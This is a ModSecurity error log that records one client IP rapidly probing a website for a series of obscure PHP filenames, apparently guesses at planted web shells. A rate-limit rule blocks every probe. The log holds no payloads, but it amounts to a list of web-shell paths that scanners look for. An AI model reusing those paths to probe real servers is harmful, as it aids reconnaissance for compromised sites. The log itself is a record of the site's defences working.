[Sun Dec 28 20:00:07.590678 2025] [:error] [pid 29436:tid 29443] [client 4.193.233.56:15557] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aVEbx7chzOOtNL9VPNLxBwAAAYQ"]
[Sun Dec 28 20:00:07.912778 2025] [:error] [pid 29436:tid 29459] [client 4.193.233.56:15299] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aVEbx7chzOOtNL9VPNLxCAAAAZQ"]
[Sun Dec 28 20:00:08.109836 2025] [:error] [pid 29388:tid 29400] [client 4.193.233.56:15398] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aVEbyNoLv2L2zI_SpdXhuAAAAUQ"]
[Sun Dec 28 20:00:08.389729 2025] [:error] [pid 42378:tid 42403] [client 4.193.233.56:15326] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aVEbyDgtcN-KHAjWrX8b4AAAANc"]
[Sun Dec 28 20:00:08.678908 2025] [:error] [pid 29388:tid 29406] [client 4.193.233.56:15363] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aVEbyNoLv2L2zI_SpdXhugAAAUo"]
[Sun Dec 28 20:00:08.947133 2025] [:error] [pid 29436:tid 29460] [client 4.193.233.56:15298] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-advaced.php"] [unique_id "aVEbyLchzOOtNL9VPNLxDAAAAZU"]
[Sun Dec 28 20:00:09.269294 2025] [:error] [pid 42378:tid 42395] [client 4.193.233.56:15334] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aVEbyTgtcN-KHAjWrX8b4QAAAM8"]
[Sun Dec 28 20:00:09.576749 2025] [:error] [pid 29437:tid 29472] [client 4.193.233.56:15402] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aVEbyRhDotAbVk6pZLfFiQAAAcY"]
[Sun Dec 28 20:00:09.913051 2025] [:error] [pid 42293:tid 42333] [client 4.193.233.56:15409] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aGeTbFjB5Zu.php"] [unique_id "aVEbycvc9B-5cwN385LoaQAAAEo"]
[Sun Dec 28 20:00:13.129273 2025] [:error] [pid 42378:tid 42394] [client 4.193.233.56:15376] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEbzTgtcN-KHAjWrX8b7wAAAM4"]
[Sun Dec 28 20:00:13.576071 2025] [:error] [pid 42293:tid 42330] [client 4.193.233.56:15312] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEbzcvc9B-5cwN385LobgAAAEc"]
[Sun Dec 28 20:00:13.851818 2025] [:error] [pid 42294:tid 42351] [client 4.193.233.56:15460] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEbzdTE5kYcYCOzl9G_WAAAAIE"]
[Sun Dec 28 20:00:14.169187 2025] [:error] [pid 42294:tid 42355] [client 4.193.233.56:15279] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEbztTE5kYcYCOzl9G_WQAAAIU"]
[Sun Dec 28 20:00:14.459393 2025] [:error] [pid 29436:tid 29445] [client 4.193.233.56:15383] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aVEbzrchzOOtNL9VPNLxEAAAAYY"]
[Sun Dec 28 20:00:14.668956 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:15400] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aVEbzjgtcN-KHAjWrX8b8QAAAMU"]
[Sun Dec 28 20:00:15.038609 2025] [:error] [pid 42292:tid 42305] [client 4.193.233.56:15233] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aVEbz5yOrM_vaFx1osZLNwAAAAk"]
[Sun Dec 28 20:00:15.243969 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15254] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aVEbz8vc9B-5cwN385LocAAAAEg"]
[Sun Dec 28 20:00:15.499973 2025] [:error] [pid 29436:tid 29452] [client 4.193.233.56:15311] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kdgok.php"] [unique_id "aVEbz7chzOOtNL9VPNLxEQAAAY0"]
[Sun Dec 28 20:00:15.722948 2025] [:error] [pid 42378:tid 42403] [client 4.193.233.56:15303] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kdgok.php"] [unique_id "aVEbzzgtcN-KHAjWrX8b9AAAANc"]
[Sun Dec 28 20:00:15.957202 2025] [:error] [pid 42292:tid 42316] [client 4.193.233.56:15541] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kdgok.php"] [unique_id "aVEbz5yOrM_vaFx1osZLOAAAABQ"]
[Sun Dec 28 20:00:16.233145 2025] [:error] [pid 42292:tid 42303] [client 4.193.233.56:15412] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kdgok.php"] [unique_id "aVEb0JyOrM_vaFx1osZLOQAAAAc"]
[Sun Dec 28 20:00:16.539012 2025] [:error] [pid 29436:tid 29439] [client 4.193.233.56:15410] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aVEb0LchzOOtNL9VPNLxEgAAAYA"]
[Sun Dec 28 20:00:16.812579 2025] [:error] [pid 42294:tid 42357] [client 4.193.233.56:15325] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aVEb0NTE5kYcYCOzl9G_XQAAAIc"]
[Sun Dec 28 20:00:17.218923 2025] [:error] [pid 29436:tid 29442] [client 4.193.233.56:15318] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aVEb0bchzOOtNL9VPNLxFAAAAYM"]
[Sun Dec 28 20:00:17.594391 2025] [:error] [pid 43789:tid 43810] [client 4.193.233.56:15348] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dox.php"] [unique_id "aVEb0Qa-tUppni4CcCY0zgAAARM"]
[Sun Dec 28 20:00:17.865106 2025] [:error] [pid 42294:tid 42360] [client 4.193.233.56:15320] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aVEb0dTE5kYcYCOzl9G_XwAAAIo"]
[Sun Dec 28 20:00:18.061756 2025] [:error] [pid 29436:tid 29448] [client 4.193.233.56:15384] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aVEb0rchzOOtNL9VPNLxFQAAAYk"]
[Sun Dec 28 20:00:18.332153 2025] [:error] [pid 29437:tid 29483] [client 4.193.233.56:15388] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aVEb0hhDotAbVk6pZLfFjwAAAdE"]
[Sun Dec 28 20:00:18.579189 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:15390] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aVEb0pyOrM_vaFx1osZLPQAAAAE"]
[Sun Dec 28 20:00:18.878922 2025] [:error] [pid 29436:tid 29443] [client 4.193.233.56:15360] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVEb0rchzOOtNL9VPNLxFgAAAYQ"]
[Sun Dec 28 20:00:19.099328 2025] [:error] [pid 42294:tid 42354] [client 4.193.233.56:15452] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVEb09TE5kYcYCOzl9G_YAAAAIQ"]
[Sun Dec 28 20:00:19.422167 2025] [:error] [pid 42294:tid 42363] [client 4.193.233.56:15463] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVEb09TE5kYcYCOzl9G_YQAAAI0"]
[Sun Dec 28 20:00:19.827602 2025] [:error] [pid 43789:tid 43793] [client 4.193.233.56:15374] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aVEb0wa-tUppni4CcCY00QAAAQI"]
[Sun Dec 28 20:00:20.101247 2025] [:error] [pid 42294:tid 42369] [client 4.193.233.56:15336] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/783de.php"] [unique_id "aVEb1NTE5kYcYCOzl9G_YgAAAJM"]
[Sun Dec 28 20:00:20.362991 2025] [:error] [pid 43789:tid 43802] [client 4.193.233.56:15300] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/783de.php"] [unique_id "aVEb1Aa-tUppni4CcCY00wAAAQs"]
[Sun Dec 28 20:00:20.618750 2025] [:error] [pid 42292:tid 42315] [client 4.193.233.56:15350] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/783de.php"] [unique_id "aVEb1JyOrM_vaFx1osZLPwAAABM"]
[Sun Dec 28 20:00:21.056340 2025] [:error] [pid 29437:tid 29482] [client 4.193.233.56:15479] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/783de.php"] [unique_id "aVEb1RhDotAbVk6pZLfFlAAAAdA"]
[Sun Dec 28 20:00:21.249025 2025] [:error] [pid 29388:tid 29409] [client 4.193.233.56:15382] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aVEb1doLv2L2zI_SpdXhwAAAAU0"]
[Sun Dec 28 20:00:21.463726 2025] [:error] [pid 42294:tid 42374] [client 4.193.233.56:15517] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aVEb1dTE5kYcYCOzl9G_ZQAAAJg"]
[Sun Dec 28 20:00:21.661118 2025] [:error] [pid 42292:tid 42310] [client 4.193.233.56:15259] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aVEb1ZyOrM_vaFx1osZLQgAAAA4"]
[Sun Dec 28 20:00:21.867929 2025] [:error] [pid 42294:tid 42362] [client 4.193.233.56:15434] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6kUgr4yGzxN.php"] [unique_id "aVEb1dTE5kYcYCOzl9G_ZwAAAIw"]
[Sun Dec 28 20:00:22.245172 2025] [:error] [pid 43789:tid 43811] [client 4.193.233.56:15310] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aVEb1ga-tUppni4CcCY01gAAARQ"]
[Sun Dec 28 20:00:22.505382 2025] [:error] [pid 29436:tid 29449] [client 4.193.233.56:15418] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aVEb1rchzOOtNL9VPNLxGwAAAYo"]
[Sun Dec 28 20:00:23.227747 2025] [:error] [pid 42293:tid 42345] [client 4.193.233.56:15468] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aVEb18vc9B-5cwN385LogwAAAFY"]
[Sun Dec 28 20:00:23.635494 2025] [:error] [pid 42293:tid 42331] [client 4.193.233.56:15315] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oc460l3x.php"] [unique_id "aVEb18vc9B-5cwN385LohAAAAEg"]
[Sun Dec 28 20:00:24.118325 2025] [:error] [pid 43789:tid 43803] [client 4.193.233.56:15327] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVEb2Aa-tUppni4CcCY02QAAAQw"]
[Sun Dec 28 20:00:24.340734 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:15420] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVEb2Mvc9B-5cwN385LoiAAAAFI"]
[Sun Dec 28 20:00:24.588292 2025] [:error] [pid 29436:tid 29445] [client 4.193.233.56:15351] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVEb2LchzOOtNL9VPNLxIwAAAYY"]
[Sun Dec 28 20:00:24.884298 2025] [:error] [pid 29388:tid 29417] [client 4.193.233.56:15240] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aVEb2NoLv2L2zI_SpdXhwwAAAVU"]
[Sun Dec 28 20:00:25.259897 2025] [:error] [pid 42293:tid 42340] [client 4.193.233.56:15343] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-loccs.php"] [unique_id "aVEb2cvc9B-5cwN385LoigAAAFE"]
[Sun Dec 28 20:00:25.534666 2025] [:error] [pid 42292:tid 42319] [client 4.193.233.56:15330] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-loccs.php"] [unique_id "aVEb2ZyOrM_vaFx1osZLRAAAABc"]
[Sun Dec 28 20:00:25.786620 2025] [:error] [pid 42293:tid 42326] [client 4.193.233.56:15297] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-loccs.php"] [unique_id "aVEb2cvc9B-5cwN385LoiwAAAEM"]
[Sun Dec 28 20:00:26.122583 2025] [:error] [pid 42292:tid 42299] [client 4.193.233.56:15390] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-loccs.php"] [unique_id "aVEb2pyOrM_vaFx1osZLRgAAAAM"]
[Sun Dec 28 20:00:26.412563 2025] [:error] [pid 43789:tid 43796] [client 4.193.233.56:15411] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "aVEb2ga-tUppni4CcCY02wAAAQU"]
[Sun Dec 28 20:00:26.745663 2025] [:error] [pid 42293:tid 42339] [client 4.193.233.56:15392] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/okxh.php"] [unique_id "aVEb2svc9B-5cwN385LojgAAAFA"]
